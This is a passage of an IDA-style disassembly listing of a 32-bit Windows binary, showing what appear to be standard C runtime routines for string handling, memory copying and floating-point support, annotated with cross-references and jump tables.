loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CFp ; sub_401ACD+6A10p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5981p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26802D9h test eax, eax jnz short loc_41BDF2 nop call near ptr 2680ABEh jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D3p ; ___:00411CA2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E82p ; sub_401ACD+1EA1p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFDp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB9A4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB9A4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2D+1Cp ; sub_415221+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEB+88p ; sub_40B64B+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA4+15p ; sub_40BFA4+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEC+40p ; ___:0040E2A0p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D031+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A970 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; 